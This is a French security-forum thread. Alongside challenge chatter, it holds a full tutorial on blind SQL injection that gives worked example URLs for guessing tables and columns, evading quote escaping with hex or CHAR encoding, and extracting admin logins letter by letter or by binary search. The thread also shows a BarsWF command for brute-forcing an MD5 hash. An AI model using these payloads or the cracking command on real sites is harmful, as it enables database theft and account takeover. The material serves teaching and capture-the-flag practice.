c'est peut être pas le même hash sur l'épreuve

Ah, je pensais qu'il suffisait de deviner par l'essai le sel en local pour ensuite pouvoir valider en ligne...
Du coup j'imagine que je fais fausse route et qu'il faut être plus délicat.

C'est possible d'avoir un début de piste? je ne vois pas d'autre possibilité que le bf...

Et je reprécise, comme Nms l'a dit, qu'il n'y a pas besoin de faire chauffer la VM

Euh là je suis parti sur /* modéré : on ne donne pas sa démarche ! */
10 min que ça tourne et j'en suis à 1,27%.  
Sûr qu'il n'y a vraiment pas besoin de faire chauffer la VM? Je suis encore parti à l'ouest?

C'est pas une erreur, c'est une notice.

Ca ne change rien au fonctionnement de l'épreuve, soit tranquille. 

La lecture bien sûr!

http://www.acunetix.com/websitesecurity/php_whitepaper.pdf
http://www.exploit-db.com/papers

On publie? 

Y'a ça aussi qui peut être pas mal : http://www.bescherelle.com/

corrigé

Sauf pour la fameuse phrase.
Je ne sais pas comment la tourner...

Je suis prenneur de toute proposition


_o_! bourrin avec ton lexicographique tu viens de me filer un vieux mal de crâne! 
non lié à ma cuite d'hier de surcroit

Ah nan, j'avais un algo bien plus simple en tête...
Déjà, trouver la longueur de la valeur du champ, toujours par dichotomie.

Ensuite, récupérer le champ avec toutes les lettres sous leur forme décimale ascii, avec un padding sur 3 caracteres

genre 'admin' = 97 100 109 105 110
=> 097100109105110

Et on fait la dichotomie la dessus...

Voire mieux, on met un -32 sur tous les caractères, ce qui nous permet d'avoir tous les caractères les plus usuels avec un decimal de deux chiffres.

'admin' = 65 68 77 73 78
=> 6568777378

Avec la longueur du champ, on peut même poser la limite supérieure pour la dichotomie (100^nbChars)!

Kekilendi?  

Avec les retouches faites, je n'ai plus de remarques (je passe le coup de la jupe). Bon pour publication de mon point de vue.

Ah ouais désolé, j'étais bourré 

J'viens de virer ça.

Sinon j'ai trouvé pour la dichotomie sur tout le mot, enfin, je pense...
J'espère que tu seras là pour me dire oui dans mon prochain tuto 

Corrigé!
Enfin, pour la plupart je pense.

Avec un petit bonus de mise en page...

Concernant la partie traitant du schema, et current_user, je pense l'aborder plus en détail dans un autre tuto.
Celui qui traitera des exploits.

Merci à vous!

Sur le fond, pas grand chose à ajouter. Quand même, dans la dernière partie, il faudrait préciser qu'information_schema ou d'autres variables sont spécifiques à MySql (et donc, il faut trouver d'autres moyens selon le SGBD utilisé).

Enfin, pour pinailler : il peut y avoir plus simple que de chercher lettres par lettre. Notamment en utilisant des inégalités et la dichotomie.

Bah c'est vrai que j'ai vu que information_schema était aussi sous postgre, alors j'ai admis que ça devait être un truc constant...
Mais je vais éditer ça.

Sinon pour les inégalités et la dichotomie, si tu pouvais nous en dire plus

Pour l'exploit, je pensais parler de l'optimisation du nombre de requêtes, en regardant justement les inégalités avec le code ascii...
Pour exemple, si le charmap utilisé contient 100 charactères, les ordonner par leur code ascii, puis comparer le code ascii de la première lettre avec la médiane, et couper à chaque fois en deux pour cibler beaucoup plus vite...

[BLIND SQL INJECTION]

BLIND SQL INJECTION

1 - INTRODUCTION
2 - DÉFINITION
3 - DÉTECTION
4 - DE LA FAILLE A L'EXPLOIT
5 - ÉCRITURE D'EXPLOIT
6 - RÉCUPÉRATION D'INFORMATIONS
7 - CONCLUSION








1 - INTRODUCTION

Ce document a pour but de vous faire découvrir, voire apporter un support d'aide à vos injections SQL "à l'aveugle".

Celles-ci, peu connues des développeurs, sont des armes redoutables qui ont fait, et feront encore longtemps leurs preuves.


2 - DÉFINITION

Les injections SQL dites "blind" (à l'aveugle) sont des injections SQL particulières.

En effet, le résultat de la requête nous est inconnu... Enfin presque  

Comprenez par là, que le seul retour que l'on peut avoir, est 'vrai', ou 'faux'.
De fait, afin d'accéder à une information précise, il faut la "deviner" lettre par lettre le plus souvent. D'où l'utilisation de bots (exploits) pour faire le travail.


3 - DÉTECTION

Les failles se détectent comme pour les injections SQL classiques.
Sauf que le résultat, est l'affichage ou non d'un bloc de la page, ou le changement d'ordre des données d'un tableau, ...

Exemple :
Une agence de location immobilière présente des appartements sur son site.
Il y a une liste d'appartements, et une fiche appartement par appart'.

Afin de pouvoir récupérer en bdd les informations liées à l'appartement dont vous voulez la fiche détaillée, un identifiant de l'appartement est placé dans chaque lien.

Imaginons la fiche suivante : 'http://mon-agence.com/fiche-appart.php?id=975'

Côté serveur, si le développeur n'est pas un grand fan de sécurité, on peut avoir quelque chose comme ceci :

Code:

$query = "SELECT * FROM appartements WHERE id=".$_GET['id']
$appartement = mysql_fetch_array(mysql_query($query));

if($appartement){
    echo 'adresse :' . $appartement['adresse'];
}

Si nous modifions l'url comme ceci :  

Code:

http://mon-agence.com/fiche-appart.php?id=975 and 1=0

La requête deviendra : "SELECT * FROM appartements WHERE id=975 and 1=0".

Or 1 est différent de 0. alors même si un appartement a l'id 975, il n'y aura aucun résultat!
Donc rien ne s'affichera.

Idem pour :

Code:

http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 0)

La spécificité ici est la requête imbriquée, une requête dans une autre :
"SELECT * FROM appartements WHERE id=975 and 1 = (select 0)".

Alors que l'adresse s'affichera pour :

Code:

http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 1)

Donc, on peut remarquer, que grâce au select imbriqué, on va pouvoir poser des questions au serveur de base de données.
Et que quand nous dirons quelque chose qui est vrai (eg : 1 = 1) alors l'adresse s'affichera.
Et donc, que, si l'adresse s'affiche, ça veut dire que l'on a dit quelque chose de vrai!  

Voilà, vous avez le concept de l'injection sql en aveugle entre les mains  


4 - DE LA FAILLE A L'EXPLOIT

Bon c'est bien, j'affiche, ou je cache un bout de texte, mais moi je veux l'accès admin!

Il faudra d'abord deviner la structure de la base de données. C'est ce qu'on appelle le guessing.
On ne cherche pas directement la valeur d'un champ, puisqu'on ne connait pas le nom du champ.
Ni même le nom du champ, puisque l'on ne connait pas le nom de la table.
Nous devons y aller pas à pas :
Cherchons tout d'abord le nom de la table que nous aimerions consulter :

Typiquement, on peut essayer des requêtes comme :

Code:

http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from users)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from user)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from admin)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from ...)

Il y a d'autres techniques, bien plus pratiques, mais plus difficiles à mettre en place.
Nous en reparlerons à la fin de cet article.  

Avec les requêtes ci-dessus, si l'adresse s'affiche, alors la table existe...
Si vous avez une erreur type  : "Table 'users' doesn't exist" ou que la page ne s'affiche pas, c'est que la table n'existe pas.

Une fois que l'on aura trouvé la table des utilisateurs, que nous nommerons par la suite : 'utilisateur', nous devrons chercher le nom du champ!

Toujours pareil, si l'expression est vraie, l'adresse s'affichera.

Code:

http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select login from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select username from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select pseudo from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select user_name from utilisateur)

La requête avec user_name affiche l'adresse de l'appartement! chouette, j'ai mon nom de champ  
On peut passer aux choses sérieuses!

Comme il est impossible d'afficher le login d'un utilisateur directement, nous allons tenter de le deviner :

Code:

http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 'admin')

Cette requête serait vraiment osée.
Elle ne passera en général pas, que ce soit a cause des quotes ( ' ) qui seront echappées (\') par php, ou à cause d'un login incorrect...

Pour bypasser la protection anti chaines de charactères, plusieurs possibilités s'offrent à nous.

- l'encodage en héxa : 'admin' = 0x61646d696e
- l'utilisation du couple de fonction [CONCAT] (click!) et [CHAR](click!) de mysql : 'admin' = CONCAT(CHAR(97), CHAR(100), CHAR(109), CHAR(105), CHAR(110))
Cf la table ASCII (ou avec l'aide de ce superbe outil (click!))


Ce qui peut donner quelque chose comme :

Code:

http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 0x61646d696e)

Evidemment, pour trouver un login comme ça, il va falloir un sacré paquet de chance...
Imaginez pour un mot de passe...  

L'idée c'est de chercher lettre par lettre (c'est un peu la technique du bruteforce):

Code:

http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(99) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(100) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
...

Notez l'introduction de "LIMIT".
Cette option permettra de récupérer seulement la 1ère ligne de la table.

Quand on a trouvé la 1ere lettre, on passe à la suivante en changeant un paramètre de la fonction SUBSTR:

Code:

http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
...

Et ainsi de suite pour le mot complet...
Ensuite, pour passer au second mot, on modifie le limit : LIMIT 1,1
Pour le troisième : LIMIT 2,1
Je vous dis ce qu'il faut mettre pour le 4ème?  

Vous imaginez bien que ça peut prendre un temps fou de faire ça à la main, d'où l'intérêt des exploits!


5 - ÉCRITURE D'EXPLOIT

Un exploit, est un programme qui va s'occuper de faire ces injections pour vous.
Il va s'occuper d'automatiser la récupération d'informations.

En simple, il s'agira de le faire boucler sur chaque lettre d'un mot, afin de vérifier son existence.
Pour cela, il récupèrera la page, et vérifiera dans notre cas que l'adresse s'affiche bien.

Évidemment cela peut s'améliorer afin de limiter au maximum le nombres de requêtes (et par la même le nombre de lignes dans les logs d'apache).

Peut-être verrons-nous cela plus en détail dans un prochain tuto  


6 - RÉCUPÉRATION D'INFORMATIONS - GUESSING

Le guessing peut être facilement fait avec un exploit, en attaquant le champ table_name de la table information_schema.tables.
En effet, cette table recense toutes les tables de la base de données, leurs structures, leurs champs, ainsi que le type de données.

Pareillement, on peut trouver l'utilisateur courant (current_user) et encore nombre d'autres informations...
Cela a une importance car un utilisateur SQL 'root' a un accès à toutes les bases de données du serveur.

Ceci est vrai pour MySQL et PostgreSQL.
D'autres noms de variables sont à prévoir pour d'autres SGBD.  


7 - CONCLUSION

Cette faille est énormément répandue, elle est souvent sous-estimée par les développeurs.
Les sites qui y sont vulnérables sont de véritables invitations au take over d'un serveur.

La possibilité d'automatiser la récupération d'information sur toute une base, voir même, de récupérer toute la base est des plus graves!
En couplant un exploit générique à un scanner Metasploit, il serait possible de récupérer des quantités d'informations énormes.

Protégez vous!
Addslashes ou mysql_real_escape_string() sur les entrées alphanumériques, et intval(), sur les entrées numériques, sont d'excellents boucliers.

Nonobstant de protéger non seulement les entrées utilisateurs tels les champs de formulaires, mais aussi les cookies, et les headers.

Je ne suis pas une bête en réseau...

Mais il me semble que l'ARP cache poisoning a pour but de faire croire à A, que je suis B à la place de B.

Ainsi quand A voudra parler à B, il m'enverra les requêtes que je transfererai vers B, et vice-versa...
L'ACP est donc une façon de mettre en place un MITM

Oui, c'est très possible.

C'est les attaques MITM et l'analyse des paquets est le sniffing.

Effectivement, désolé  

Bon, sinon je suis rentré dans le vif du sujet...
Le code est super clean, c'est plaisant. On y découvre même de jolies fonctions (list(), trop classe  )
J'ai l'adresse mail de l'admin, mais je ne vois pas trop comment m'en servir...

Enfin, j'ai bien testé quelques trucs, i****** h****r m**l ds mdp perdu tout ça, mais rien de concluant... je bloque...

Côté injection SQL, pas moyen de shinter le general.php et autres cleaners...
La forge de cookie me semble impossible puisque je n'ai pas le salt de l'épreuve en ligne... (Et quand bien même je l'aurais, je crois pas que ça soit faisable...).
Et le XSS, ça n'a pas l'air utilisable non plus ici...

Là je commence à fouiller du côté du buffer overflow sur le htmlentities dans les versions de php < 5.2
Mais ça me parait un brin violent quand même ^^

Un petit coup de pouce?  

http://3.14.by/en/md5

Non ce n'est pas une vilaine attaque par dico.
C'est du bruteforce intelligent.

Avec même le temps max qu'il faudra pour cracker le md5.

Bref, un joli bouzin, à mettre entre les mains de tout bon adepte de la sécu qui se respecte!

exemple de commande :

BarsWF_CUDA_x32.exe -c 0aA~ -h 9eb7e91737c94dfa9500938d04b71bc0

-c : caracteres à utiliser
     0 -> 0-9
     a -> a-z
     A -> A-Z
     ~ -> car spéciaux (¤"'(-/_...)

-h : le hash md5

ensuite on peut gérer suivant le nombre de caracteres de la chaine d'origine...
Mais bon faut pas pousser, démerdez vous un peu.